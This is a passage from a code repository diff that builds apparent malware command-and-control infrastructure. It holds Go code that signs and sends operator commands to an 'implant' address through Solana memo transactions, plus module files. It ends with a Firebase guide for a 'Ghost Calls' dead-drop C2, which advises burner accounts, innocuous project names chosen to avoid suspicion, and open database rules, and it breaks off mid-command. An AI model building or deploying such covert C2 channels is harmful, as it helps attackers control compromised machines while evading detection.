log.Printf("❌ Failed to get recent blockhash: %v", err)
return
}
operatorPub := operator.PublicKey()
// 2. Build transfer instruction (1 lamport — minimal cost,
// creates an on-chain footprint linking to the implant address)
transferIx := system.NewTransferInstruction(
1, // lamports
operatorPub,
implantPubkey,
).Build()
// 3. Build memo instruction with the command text
memoIx, err := memo.NewMemoInstruction(
[]byte(command),
operatorPub,
).ValidateAndBuild()
if err != nil {
log.Printf("❌ Failed to build memo instruction: %v", err)
return
}
// 4. Build the transaction
tx, err := solana.NewTransaction(
[]solana.Instruction{transferIx, memoIx},
recent.Value.Blockhash,
solana.TransactionPayer(operatorPub),
)
if err != nil {
log.Printf("❌ Failed to build transaction: %v", err)
return
}
// 5. Sign
_, err = tx.Sign(func(key solana.PublicKey) *solana.PrivateKey {
if key.Equals(operatorPub) {
return &operator
}
return nil
})
if err != nil {
log.Printf("❌ Failed to sign transaction: %v", err)
return
}
// 6. Send
sig, err := client.SendTransaction(ctx, tx)
if err != nil {
log.Printf("❌ Failed to send transaction: %v", err)
return
}
clusterParam := clusterParamFromEndpoint(endpoint)
fmt.Printf("✅ Command sent!\n")
fmt.Printf(" Signature: %s\n", sig.String())
fmt.Printf(" Explorer: https://solscan.io/tx/%s?%s\n", sig.String(), clusterParam)
fmt.Printf(" Command: %q\n", command)
fmt.Printf(" Implant: %s\n", implantAddrStr)
}
// ── Balance check ───────────────────────────────────────────────────
func checkBalance(ctx context.Context, client *rpc.Client, pubkey solana.PublicKey) {
balance, err := client.GetBalance(ctx, pubkey, rpc.CommitmentFinalized)
if err != nil {
log.Printf("❌ Failed to check balance: %v", err)
return
}
sol := float64(balance.Value) / 1e9
fmt.Printf("💰 Balance: %.9f SOL (%d lamports)\n", sol, balance.Value)
}
// ── Keypair loading ─────────────────────────────────────────────────
func loadKeypair(path string) (solana.PrivateKey, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read file: %w", err)
}
content := strings.TrimSpace(string(data))
// Base58-encoded private key string
if !strings.HasPrefix(content, "[") {
pk, err := solana.PrivateKeyFromBase58(content)
if err != nil {
return nil, fmt.Errorf("invalid base58 private key: %w", err)
}
return pk, nil
}
// Solana CLI format: JSON integer array [12, 34, 56, ...]
var byteArr []byte
if err := json.Unmarshal([]byte(content), &byteArr); err != nil {
return nil, fmt.Errorf("JSON decode of keypair: %w", err)
}
if len(byteArr) != 64 {
return nil, fmt.Errorf("expected 64 keypair bytes, got %d", len(byteArr))
}
return solana.PrivateKey(byteArr), nil
}
// ── Helpers ─────────────────────────────────────────────────────────
func resolveEndpoint(name string) string {
switch strings.ToLower(name) {
case "mainnet", "mainnet-beta", "main":
return rpc.MainNetBeta_RPC
case "devnet", "dev":
return rpc.DevNet_RPC
case "testnet", "test":
return rpc.TestNet_RPC
default:
return name
}
}
func clusterParamFromEndpoint(endpoint string) string {
switch {
case strings.Contains(endpoint, "mainnet"):
return "cluster=mainnet-beta"
case strings.Contains(endpoint, "devnet"):
return "cluster=devnet"
case strings.Contains(endpoint, "testnet"):
return "cluster=testnet"
default:
return "cluster=custom&customUrl=" + endpoint
}
}
+35
View File
@@ -0,0 +1,35 @@
module c2-blockchain-memo
go 1.26
require github.com/gagliardetto/solana-go v1.16.0
require (
filippo.io/edwards25519 v1.1.0 // indirect
github.com/benbjohnson/clock v1.3.5 // indirect
github.com/blendle/zapdriver v1.3.1 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fatih/color v1.18.0 // indirect
github.com/gagliardetto/binary v0.8.0 // indirect
github.com/gagliardetto/treeout v0.1.4 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/compress v1.18.0 // indirect
github.com/logrusorgru/aurora v2.0.3+incompatible // indirect
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mitchellh/go-testing-interface v1.14.1 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 // indirect
github.com/mr-tron/base58 v1.2.0 // indirect
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e // indirect
go.mongodb.org/mongo-driver v1.17.3 // indirect
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/ratelimit v0.3.1 // indirect
go.uber.org/zap v1.27.0 // indirect
golang.org/x/crypto v0.47.0 // indirect
golang.org/x/sys v0.40.0 // indirect
golang.org/x/term v0.39.0 // indirect
golang.org/x/time v0.11.0 // indirect
)
+143
View File
@@ -0,0 +1,143 @@
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
github.com/AlekSi/pointer v1.2.0 h1:glcy/gc4h8HnG2Z3ZECSzZ1IX1x2JxRVuDzaJwQE0+w=
github.com/AlekSi/pointer v1.2.0/go.mod h1:gZGfd3dpW4vEc/UlyfKKi1roIqcCgwOIvb0tSNSBle0=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/blendle/zapdriver v1.3.1 h1:C3dydBOWYRiOk+B8X9IVZ5IOe+7cl+tGOexN4QqHfpE=
github.com/blendle/zapdriver v1.3.1/go.mod h1:mdXfREi6u5MArG4j9fewC+FGnXaBR+T4Ox4J2u4eHCc=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/gagliardetto/binary v0.8.0 h1:U9ahc45v9HW0d15LoN++vIXSJyqR/pWw8DDlhd7zvxg=
github.com/gagliardetto/binary v0.8.0/go.mod h1:2tfj51g5o9dnvsc+fL3Jxr22MuWzYXwx9wEoN0XQ7/c=
github.com/gagliardetto/gofuzz v1.2.2 h1:XL/8qDMzcgvR4+CyRQW9UGdwPRPMHVJfqQ/uMvSUuQw=
github.com/gagliardetto/gofuzz v1.2.2/go.mod h1:bkH/3hYLZrMLbfYWA0pWzXmi5TTRZnu4pMGZBkqMKvY=
github.com/gagliardetto/solana-go v1.16.0 h1:lRPn/NxVmxzXw+vQ3AxH33jQIvj8avx2CKVFsvUhRsY=
github.com/gagliardetto/solana-go v1.16.0/go.mod h1:2n7osXNoDeUhq1r1lOgCMVkl90yYUVrV9FHGINBWPHU=
github.com/gagliardetto/treeout v0.1.4 h1:ozeYerrLCmCubo1TcIjFiOWTTGteOOHND1twdFpgwaw=
github.com/gagliardetto/treeout v0.1.4/go.mod h1:loUefvXTrlRG5rYmJmExNryyBRh8f89VZhmMOyCyqok=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU=
github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 h1:mPMvm6X6tf4w8y7j9YIt6V9jfWhL6QlbEc7CCmeQlWk=
github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1/go.mod h1:ye2e/VUEtE2BHE+G/QcKkcLQVAEJoYRFj5VUOQatCRE=
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
github.com/onsi/gomega v1.10.1 h1:o0+MgICZLuZ7xjH7Vx6zS/zcu93/BEp1VwkIW1mEXCE=
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8=
github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
github.com/streamingfast/logging v0.0.0-20230608130331-f22c91403091/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU=
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e h1:qGVGDR2/bXLyR498un1hvhDQPUJ/m14JBRTJz+c67Bc=
github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/test-go/testify v1.1.4 h1:Tf9lntrKUMHiXQ07qBScBTSA0dhYQlu83hswqelv1iE=
github.com/test-go/testify v1.1.4/go.mod h1:rH7cfJo/47vWGdi4GPj16x3/t1xGOj2YxzmNQzk2ghU=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
go.mongodb.org/mongo-driver v1.17.3 h1:TQyXhnsWfWtgAhMtOgtYHMTkZIfBTpMTsMnd9ZBeHxQ=
go.mongodb.org/mongo-driver v1.17.3/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
go.uber.org/ratelimit v0.3.1 h1:K4qVE+byfv/B3tC+4nYWP7v/6SimcO7HzHekoMNBma0=
go.uber.org/ratelimit v0.3.1/go.mod h1:6euWsTB6U/Nb3X++xEUXA8ciPJvr19Q/0h1+oDcJhRk=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw=
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=
golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=
golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY=
golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0=
golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+357
View File
@@ -0,0 +1,357 @@
# Firebase Project Setup Guide
This guide walks through creating a Firebase project for Ghost Calls using the Firebase CLI. No browser required.
## Prerequisites
- [Node.js](https://nodejs.org/) 18+ (for `firebase-tools` CLI)
- A Google account (use a **burner account** — never link to personal accounts)
- `curl` for testing API endpoints
---
## Step 1: Install Firebase CLI
```bash
npm install -g firebase-tools
```
Verify installation:
```bash
firebase --version
# Expected: 13.x or higher
```
---
## Step 2: Log In
```bash
firebase login
```
This opens a browser for OAuth authentication. If running headless (no browser), use:
```bash
firebase login --no-localhost
```
Follow the printed URL instructions to complete authentication.
---
## Step 3: Create the Firebase Project
```bash
# Create a new project (interactive — you'll be prompted for a project ID)
firebase projects:create
# You will be prompted:
# ? Please specify a unique project id (my-c2-project): ghost-calls-operational-42
# ? What would you like to call your project? Ghost Calls
```
> **Important:** The project ID must be globally unique across all Firebase projects. Choose something innocuous that won't raise suspicion. Good examples: `weather-app-sync-8472`, `note-taking-backup`. Bad examples: `c2-command-control`, `hacker-op-2024`.
### Headless Project Creation (Alternative)
If `firebase projects:create` is too interactive, use the Firebase Console REST API directly:
```bash
# First, get your access token
FIREBASE_TOKEN=$(firebase login:ci)
# Create the project
curl -X POST "https://firebase.googleapis.com/v1/projects" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"projectId": "ghost-calls-operational-42",
"displayName": "Note Sync",
"labels": {
"purpose": "development"
}
}'
```
---
## Step 4: Enable Firebase for the Project
```bash
# Add Firebase to the project
firebase init
# Select only "Firestore" or "Database" and "Hosting" if needed
# For Ghost Calls, we only need Realtime Database, so:
# - Toggle "Realtime Database" with SPACE
# - Press ENTER to confirm
```
If you get an error about project not found, the project may not have Firebase resources initialized yet. Fix:
```bash
# Explicitly add Firebase to the project
firebase projects:addfirebase <project-id>
```
---
## Step 5: Enable the Realtime Database
### Via CLI:
```bash
# List available Firebase features — verify RTDB is available
firebase --project=<project-id> firestore:databases:list 2>/dev/null || true
# Initialize Realtime Database through CLI
firebase --project=<project-id> init database
# You'll be prompted:
# ? What file should be used for Realtime Database Security Rules? database.rules.json
# Accept default or specify rtdb.rules.json
```
### Via REST API:
```bash
# Enable Realtime Database via REST
curl -X POST \
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"databaseId": "<project-id>-default-rtdb", "type": "DEFAULT_DATABASE"}'
```
Wait 30-60 seconds for the database instance to provision.
---
## Step 6: Get Your Database URL
```bash
# List Firebase projects and their resources
firebase --project=<project-id> databases:list 2>/dev/null || true
# OR use the REST API to find the database URL
curl -s \
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
| jq -r '.instances[].databaseUrl'
```
Your database URL will look like:
```
https://<project-id>-default-rtdb.firebaseio.com
```
---
## Step 7: Set Database Rules
For initial testing, set wide-open rules.
### Write the rules file (`database.rules.json`):
```json
{
"rules": {
".read": true,
".write": true
}
}
```
### Deploy rules:
```bash
# Via firebase-tools CLI
firebase --project=<project-id> deploy --only database
# OR via REST API
curl -X PUT \
"https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"rules":{".read":true,".write":true}}'
```
### Verify rules are deployed:
```bash
curl -s "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" | jq .
```
Expected output:
```json
{
"rules": {
".read": true,
".write": true
}
}
```
---
## Step 8: Get Firebase API Key
The API key is needed if you want to use Firebase Authentication or FCM. For the basic RTDB dead-drop, you don't strictly need it — but it's useful for auth-enabled access.
### Via CLI:
```bash
# List all Firebase project resources including Web API Key
firebase --project=<project-id> apps:list 2>/dev/null
# If no apps exist, create a Web app:
firebase --project=<project-id> apps:create WEB "ghost-ctl"
# Get the config for your web app (includes apiKey):
firebase --project=<project-id> apps:sdkconfig WEB <app-id>
```
### Via Google Cloud Console API:
```bash
# List all API keys for the project
curl -s \
"https://apikeys.googleapis.com/v2/projects/<project-id>/locations/global/keys" \
-H "Authorization: Bearer $FIREBASE_TOKEN" \
| jq '.keys[].displayName, .keys[].keyString'
```
---
## Step 9: Test the Database
Verify end-to-end connectivity:
```bash
# Write a test value
curl -X PUT \
"https://<project-id>-default-rtdb.firebaseio.com/test/hello.json" \
-H "Content-Type: application/json" \
-d '"world"'
# Read it back
curl -s "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
# Expected: "world"
# Delete the test value
curl -X DELETE "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
```
---
## Step 10: (Optional) Enable Firebase Cloud Messaging
For push-based command delivery (advanced):
```bash
# Enable FCM for the project
curl -X POST \
"https://fcm.googleapis.com/v1/projects/<project-id>/messages:send" \
